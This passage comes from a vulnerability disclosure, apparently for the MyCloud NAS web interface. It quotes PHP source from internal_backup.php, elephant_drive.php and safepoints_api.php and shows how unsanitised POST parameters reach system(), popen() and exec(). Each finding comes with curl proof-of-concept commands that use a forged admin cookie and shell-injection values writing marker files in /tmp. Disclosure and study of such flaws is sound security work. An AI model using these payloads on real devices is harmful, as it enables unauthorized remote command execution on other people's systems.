curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=1&hour=&week=&day=%24(touch%20/tmp/a55)&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=1&hour=&week=&day=&old_taskname=%24(touch%20/tmp/a56)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

A remote command execution bug exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "del".

backups/internal_backup.php

240         case "del":
241         {
242                 $taskname = $_POST['taskname'];
243 
244                 stop_job($taskname);
245 
246                 $cmd = sprintf("internal_backup -a '%s' -c jobdel >/dev/null 2>&1", $taskname);
247                 system($cmd);
248                 //pclose(popen($cmd, 'r'));
249 
250                 $pname = sprintf("/tmp/r_%s!_internal", $taskname);
251                 @unlink($pname);
252 
253                 $r = get_list();
254                 $r->success = true;
255                 echo json_encode($r);
256         }
257                 break;

In the above, we only have 1 posted value used, which is "taskname". On line 242, we can see that the posted variable is stored into a local variable "$taskname". Then, on line 246, this variable is used to craft a command stored in "$cmd" which executes the "internal_backup" binary with the local variable "$taskname" within the "-a" argument. Then, on line 247, the PHP "system()" function is called with "$cmd" as an argument, executing the command. This is all done without any sanitization on the user supplied value allowing for command injection.

In the above there is also a call to the "stop_job" function with the "$taskname" variable allowing for command injection in a path identical to the "create" and "modify" "stop_job" paths mentioned above.

POC

curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=del&taskname=';touch%20/tmp/a57;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" 
Remote Command Execution

A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "go_jobs".

backups/internal_backup.php

259         case "go_jobs":
260         {
261                 $taskname = $_POST['taskname'];
262 
263                 $pname = sprintf("/tmp/r_%s!_internal", $taskname);
264                 @unlink($pname);
265 
266                 $cmd = sprintf("internal_backup -a '%s' -c jobrun &", $taskname);
267                 pclose(popen($cmd, 'r'));
268                 sleep(2);
269 
270                 $r = get_list();
271                 $r->success = true;
272                 echo json_encode($r);
273         }
274                 break;

On line 261, the posted variable "taskname" is moved into the local variable "$taskname". Then, on line 266, the variable is put into a syntax to be used as the "-a" argument for the "internal_backup" command and is stored in "$cmd". Then, on line 267, PHP’s "popen()" is called with "$cmd" as an argument executing the command within. Because "$taskname" is used without any sanitization, this leads to a command injection vulnerability.

POC

curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=go_jobs&taskname=';touch%20/tmp/a58;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "stop_jobs".

backups/internal_backup.php

276         case "stop_jobs":
277         {
278                 $taskname = $_POST['taskname'];
279 
280                 stop_job($taskname);
281 
282                 $pname = sprintf("/tmp/r_%s!_internal", $taskname);
283                 @unlink($pname);
284 
285                 $r = get_list();
286                 $r->success = true;
287                 echo json_encode($r);
288         }
289                 break;

In the code above, a call to the "stop_job" function with the "$taskname" variable (Ln. 280) allows for command injection in a path identical to the "create", "modify", and "del" "stop_job()" paths mentioned above.

POC

curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=stop_jobs&taskname=';touch%20/tmp/a59;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "go_restore".

backups/internal_backup.php

291         case "go_restore":
292         {
293                 $taskname = $_POST['taskname'];
294                 $restore_source = $_POST['restore_source'];
295 
296                 stop_job($taskname);
297 
298                 $pname = sprintf("/tmp/r_%s!_internal", $taskname);
299                 file_put_contents($pname, "0"); //Cancel
300 
301                 $list_xml_file = sprintf("/tmp/r_internal!_restore_imcremental_%s.xml", $taskname);
302                 if ($restore_source == "")//Sync and Copy
303                         $cmd = sprintf("internal_backup -a '%s' -o '%s' -c jobrs &", $taskname, $list_xml_file);
304                 else
305                 $cmd = sprintf("internal_backup -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']);
306                 pclose(popen($cmd, 'r'));
307                 sleep(2);
308 
309                 $r = get_list();
310                 $r->success = true;
311                 echo json_encode($r);
312         }
313                 break;

On lines 293 and 294, the "taskname" and "restore_source" posted variables are moved into local variables "$taskname" and "$restore_source". Then, on line 301, the value from the "$taskname" variable is inserted into the end of a filename prior to the extension (ex: "/tmp/r_internal!_restore_imcremental_%s.xml"). This filename is then inserted into a command for the "internal_backup" binary on lines 303 and lines 305 along with the original "$taskname" variable from which the filename is derived. The "restore_source" posted value is also inserted into the command created on line 305. These commands are stored in the local variable "$cmd", and are then executed through the use of a PHP "popen()" call on line 306. Both $taskname and $restore_source are used without any sanitization allowing for command injection.

In the above there is also a call to the "stop_job" function with the "$taskname" variable (line 296) allowing for command injection in a path identical to the "create", "modify", and "del" "stop_job()" paths mentioned above.

POC

curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=go_restore&taskname=';touch%20/tmp/a60;'&restore_source=a" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" 
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=go_restore&taskname=a&restore_source=%24(touch%20/tmp/a61)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

/web/backups/elephant_drive.php

Two remote command execution vulnerabilities exists in the "elephant_drive" functionality of the MyCloud web interface

Remote Command Execution

backups/elephant_drive.php

 15 $action = $_POST['attion'];
 16 $_email = $_POST['e_email'];
 17 $_password = $_POST['e_password'];
...
199         case "apply":
200         {
201                 $r->errcode = ERR_NONE;
202 
203                 $enable = $_POST['e_enable'];
204 
205                 //save to config
206                 delfile($config_NAS_path);
207                 $fp = fopen($config_NAS_path, 'x');
208                 $_content = sprintf($config_NAS_xml, $enable, $_email, $_password);
209                 fwrite($fp, $_content);
210                 fclose($fp);
211 
212                 //Save NAS elephant conf to mtd
213                 $cmd = sprintf("access_mtd \"cp -f %s /usr/local/config\"", $config_NAS_path);
214                 pclose(popen($cmd, 'r'));
215 
216                 if ($enable == "1")
217                 {
218                         $ret = check_account($toURL, $check_agg);
219                         if ($ret == ERR_NONE) //The email not used
220                         {
221                                 $r->errcode = ERROR_VAULT_LOGIN_USER_NOT_FOUND;
222                         }
223 
224                         //write etc config
225                         delfile($config_etc_path);
226                         $fp = fopen($config_etc_path, 'x');
227                         $_content = sprintf($config_etc_xml, $_email, exec("elephant_drive -p '" . $_password . "'"));
228                         fwrite($fp, $_content);
229                         fclose($fp);

On lines 15-17, the posted variables for "attion", "e_email", and "e_password" are stored into local variables "$action", "$_email", and "$_password". Then, when the "$action" variable is set to "apply", the "apply" case is used which begins on line 201. When this path is taken, the vulnerability is triggered when the variable "$_password" is appended as an argument (Ln. 227) to the "$cmd" variable in a command which executes the "elephant_drive" binary with a PHP "exec()" function call. The "$_password" value is user supplied and used without any sanitization allowing for command injection.

POC

curl -i "http://<IP>/web/backups/elephant_drive.php" --data "attion=apply&e_enable=1&e_email=a&e_password=';touch%20/tmp/a62;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

backups/elephant_drive.php

 15 $action = $_POST['attion'];
 16 $_email = $_POST['e_email'];
 17 $_password = $_POST['e_password'];
...
175         case "create":
176         {
177                 $ret = check_account($toURL, $check_agg);
178                 if ($ret == ERR_NONE) //The email not used
179                 {
180                         $reg_agg['t'] = exec("elephant_drive -p " . $_password); //get hash password
181                         $ret = create_account($toURL, $reg_agg);
182                         $r->errcode = $ret;
183 
184                         if ($ret == ERR_NONE)
185                                 $r->success = true;
186                         else
187                                 $r->success = false;
188                 }
189                 else
190                 {
191                         $r->errcode = $ret;
192                         $r->success = false;
193                 }
194 
195                 echo json_encode($r);
196         }
197                 break;

On lines 15-17, the posted variables for "attion", "e_email", and "e_password" are stored into local variables "$action", "$_email", and "$_password". Then, when "$action" is set to "create", the "create" case is used which begins on line 175. Then on line 180, an "exec()" call is made with the contents executing the "elephant_drive" binary with the "-p" argument and the local variable "$_password". Because $_password is user supplied and not sanitized, this allows for command injection.

POC

curl -i "http://<IP>/web/backups/elephant_drive.php" --data "attion=create&[email protected]&e_password=%24(touch%20/tmp/a63)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

/web/addons/safepoints_api.php

Six remote command execution vulnerabilities exists in the "safepoints_api" functionality of the MyCloud web interface

Remote Command Execution

addons/safepoints_api.php

 21 $action = $_POST['action'];
 22 if ($action == "") $action = $_GET['action'];
..
 65         case "usb_get_safepoints":
 66         {
 67                 $sp_path = $_POST['sp_path'];
 68 
 69                 $cmd = "killall -SIGKILL discover_dev";
 70                 pclose(popen($cmd, 'r'));
 71 
 72                 @unlink(SAFEPOINTS_LIST);
 73                 $cmd = sprintf("discover_dev -l usb -n '%s'", $sp_path);
 74                 pclose(popen($cmd, 'r'));
 75 
 76                 $r = get_safepoint_list();
 77                 $r->success = true;
 78                 echo json_encode($r);
 79         }
 80                 break;

On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "usb_get_safepoints" the code path starting at line 65 is followed. In this segment the vulnerable code begins on line 67 where the posted variable "sp_path" is stored as the local variable "$sp_path". Then, on line 73 the "$sp_path" variable is used as an argument for the "discover_dev" binary and are stored within the "$cmd" variable. On the following line, the command within the "$cmd" variable is executed through the use of a PHP "popen()" call. This is all performed without any sanitization on the user supplied data allowing for command injection.

POC

curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_get_safepoints&sp_path=';touch%20/tmp/a64;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

addons/safepoints_api.php

 21 $action = $_POST['action'];
 22 if ($action == "") $action = $_GET['action'];
..
 82         case "usb_do_recover":
 83         {
 84                 $_path = $_POST['path'];
 85                 $usb_sharename = $_POST['usb_sharename'];
 86                 $sp_name = $_POST['sp_name'];
 87                 $hotname = str_replace("\n", "", file_get_contents('/etc/hostname'));
 88 
 89                 @unlink(SAFEPOINTS_RESTORE);
 90                 $cmd = sprintf("sprb -r '%s' -s '%s' -n '%s' -m '%s' &", $_path, $usb_sharename, $sp_name, $hotname);
 91                 pclose(popen($cmd, 'r'));
 92 
 93                 $r->success = true;
 94                 //$r->cmd = $cmd;
 95                 echo json_encode($r);
 96         }
 97                 break;

On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "usb_do_recover" the code path starting at line 82 is followed. In this segment, the vulnerable code begins on lines 84-86 where the posted variables for "usb_sharename", "sp_name" and "path" are stored in local variables "$usb_sharename", "$sp_name", and "$_path". These 3 variables are then all used as arguments for the "sprb" binary in a command created and are then stored in the "$cmd" variable (Ln. 90). Following the command being created, on line 91 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. This is all done without sanitization on any of the user supplied input allowing for command injection.

POC

curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_do_recover&sp_name=&path=';touch%20/tmp/a65;'&usb_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_do_recover&sp_name=&path=&usb_sharename=';touch%20/tmp/a66;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_do_recover&sp_name=';touch%20/tmp/a67;'&path=&usb_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

addons/safepoints_api.php

 21 $action = $_POST['action'];
 22 if ($action == "") $action = $_GET['action'];
..
177         case "network_get_sharefolder":
178         {
179                 $r->status = -1;
180                 $cnt = 0;
181 
182                 $ip = $_POST['ip'];
183                 $user = $_POST['user'];
184                 $pwd = $_POST['pwd'];
185 
186                 $cmd = "killall -SIGKILL discover_dev";
187                 pclose(popen($cmd, 'r'));
188 
189                 $_filename = sprintf(SAFEPOINTS_SHARE_LIST, $ip);
190                 @unlink($_filename);
191                 $cmd = sprintf("discover_dev -q %s -u '%s' -p '%s'", $ip, $user, $pwd);
192                 pclose(popen($cmd, 'r'));
193 
194                 if (file_exists($_filename))
195                 {
196                         $xml = simplexml_load_file($_filename);
197 
198                         foreach ($xml->NAS_share as $item)
199                         {
200                                 $r->lists[] = array(
201                                         'name' => (string)$item->name,
202                                         'public' => ((string)$item->public == "true") ? true : false,
203                                         'user' => '',
204                                         'pwd' => ''
205                                 );
206                                 $cnt++;
207                         }
208                         $r->total = $cnt;
209                         $r->status = (string)$xml->login_status;
210                         @unlink($_filename);
211                 }
212 
213                 $r->success = true;
214                 echo json_encode($r);
215         }
216                 break;

On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_get_sharefolder" the code path starting at line 177 is followed. In this segment, the vulnerable code begins on lines 182-184 where the posted variables for "ip", "user" and "pwd" are stored in local variables "$ip", "$user", and "$pwd". Then, on line 191, the three variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Then, on line 192 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within allowing for command injection.

POC

curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_sharefolder&user=';touch%20/tmp/a68;'&ip=&pwd=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_sharefolder&user=&ip=&pwd=';touch%20/tmp/a69;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_sharefolder&user=&ip=%24(touch%20/tmp/a70)&pwd=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

addons/safepoints_api.php

 21 $action = $_POST['action'];
 22 if ($action == "") $action = $_GET['action'];
..
218         case "network_share_auth":
219         {
220                 $r->success = false;
221 
222                 $ip = $_POST['ip'];
223                 $username = $_POST['username'];
224                 $password = $_POST['password'];
225                 $sharename = $_POST['sharename'];
226 
227                 @unlink(SAFEPOINTS_LIST);
228                 $cmd = sprintf("discover_dev -l network -i '%s' -n '%s' -u '%s' -p '%s'", $ip, $sharename, $username, $password);
229                 pclose(popen($cmd, 'r'));
230 
231                 if (file_exists(SAFEPOINTS_LIST))
232                 {
233                         $xml = simplexml_load_file(SAFEPOINTS_LIST);
234                         $r->status = (string)$xml->status;
235                         $r->success = true;
236                 }
237 
238                 //$r->cmd = $cmd;
239                 echo json_encode($r);
240         }
241                 break;

On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_share_auth" the code path starting at line 218 is followed. In this segment the vulnerable code begins on lines 222-225 where the posted variables for "ip", "username", "password", and "sharename" are stored in local variables "$ip", "$username", "$password", and "$sharename". Then on line 228, the four variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Following, on line 229 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within allowing for arbitrary command injection.

POC

curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=';touch%20/tmp/a71;'&password=&ip=&sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=&password=';touch%20/tmp/a72;'&ip=&sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=&password=&ip=';touch%20/tmp/a73;'&sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=&password=&ip=&sharename=';touch%20/tmp/a74;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

addons/safepoints_api.php

 21 $action = $_POST['action'];
 22 if ($action == "") $action = $_GET['action'];
..
243         case "network_get_safepoints":
244         {
245                 $ip = $_POST['ip'];
246                 $username = $_POST['username'];
247                 $password = $_POST['password'];
248                 $sp_sharename = $_POST['sp_sharename'];
249 
250                 $cmd = "killall -SIGKILL discover_dev";
251                 pclose(popen($cmd, 'r'));
252 
253                 @unlink(SAFEPOINTS_LIST);
254                 $cmd = sprintf("discover_dev -l network -i '%s' -n '%s' -u '%s' -p '%s'", $ip, $sp_sharename, $username, $password);
255                 pclose(popen($cmd, 'r'));
256 
257                 $r = get_safepoint_list();
258                 $r->success = true;
259                 echo json_encode($r);
260         }
261                 break;

On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_get_safepoints" the code path starting at line 243 is followed. In this segment the vulnerable code begins on lines 245-248 where the posted variables for "ip", "username", "password", and "sp_sharename" are stored in local variables "$ip", "$username", "$password", and "$sp_sharename". Then, on line 254, the four variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Following, on line 255 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within, allowing for arbitrary command injection.

POC

curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=&password=&ip=&sp_sharename=';touch%20/tmp/a75;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=&password=&ip=';touch%20/tmp/a76;'&sp_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=&password=';touch%20/tmp/a77;'&ip=&sp_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=';touch%20/tmp/a78;'&password=&ip=&sp_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution

addons/safepoints_api.php

 21 $action = $_POST['action'];
 22 if ($action == "") $action = $_GET['action'];
..
263         case "network_do_recover":
264         {
265                 $ip = $_POST['ip'];
266                 $share_name  = $_POST['share_name'];
267                 $username = $_POST['username'];
268                 $password = $_POST['password'];
269                 $sp_name = $_POST['sp_name'];
270                 $hostname = $_POST['hostname'];
271 
272                 @unlink(SAFEPOINTS_PASSWORD);
273                 file_put_contents(SAFEPOINTS_PASSWORD, $password);
274 
275                 @unlink(SAFEPOINTS_RESTORE);
276                 $cmd = sprintf("sprb -i %s -s '%s' -u '%s' -p '%s' -n '%s' -m '%s' &", $ip, $share_name, $username, SAFEPOINTS_PASSWORD, $sp_name, $hostname);
277                 pclose(popen($cmd, 'r'));
278 
279                 $r->success = true;
280                 //$r->cmd = $cmd;
281                 echo json_encode($r);
282         }
283                 break;

On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_do_recover" the code path starting at line 263 is followed. In this segment the vulnerable code begins on lines 265-270 where the posted variables for "ip", "share_name", "username", "sp_name", and "hostname" are stored in local variables "$ip", "$share_name", "$username", "$sp_name", and "$hostname". Then, on line 276, the five variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Following, on line 277 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within allowing for arbitrary command injection.

POC

curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=';touch%20/tmp/a79;'&password=&ip=&sp_name=&hostname=&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=%24(touch%20/tmp/a80)&sp_name=&hostname=&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=&sp_name=&hostname=&share_name=';touch%20/tmp/a81;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=&sp_name=';touch%20/tmp/a82;'&hostname=&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=&sp_name=&hostname=';touch%20/tmp/a83;'&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

Demo Video

Authentication Bypass and Arbitrary File Upload (added 8/6/2017)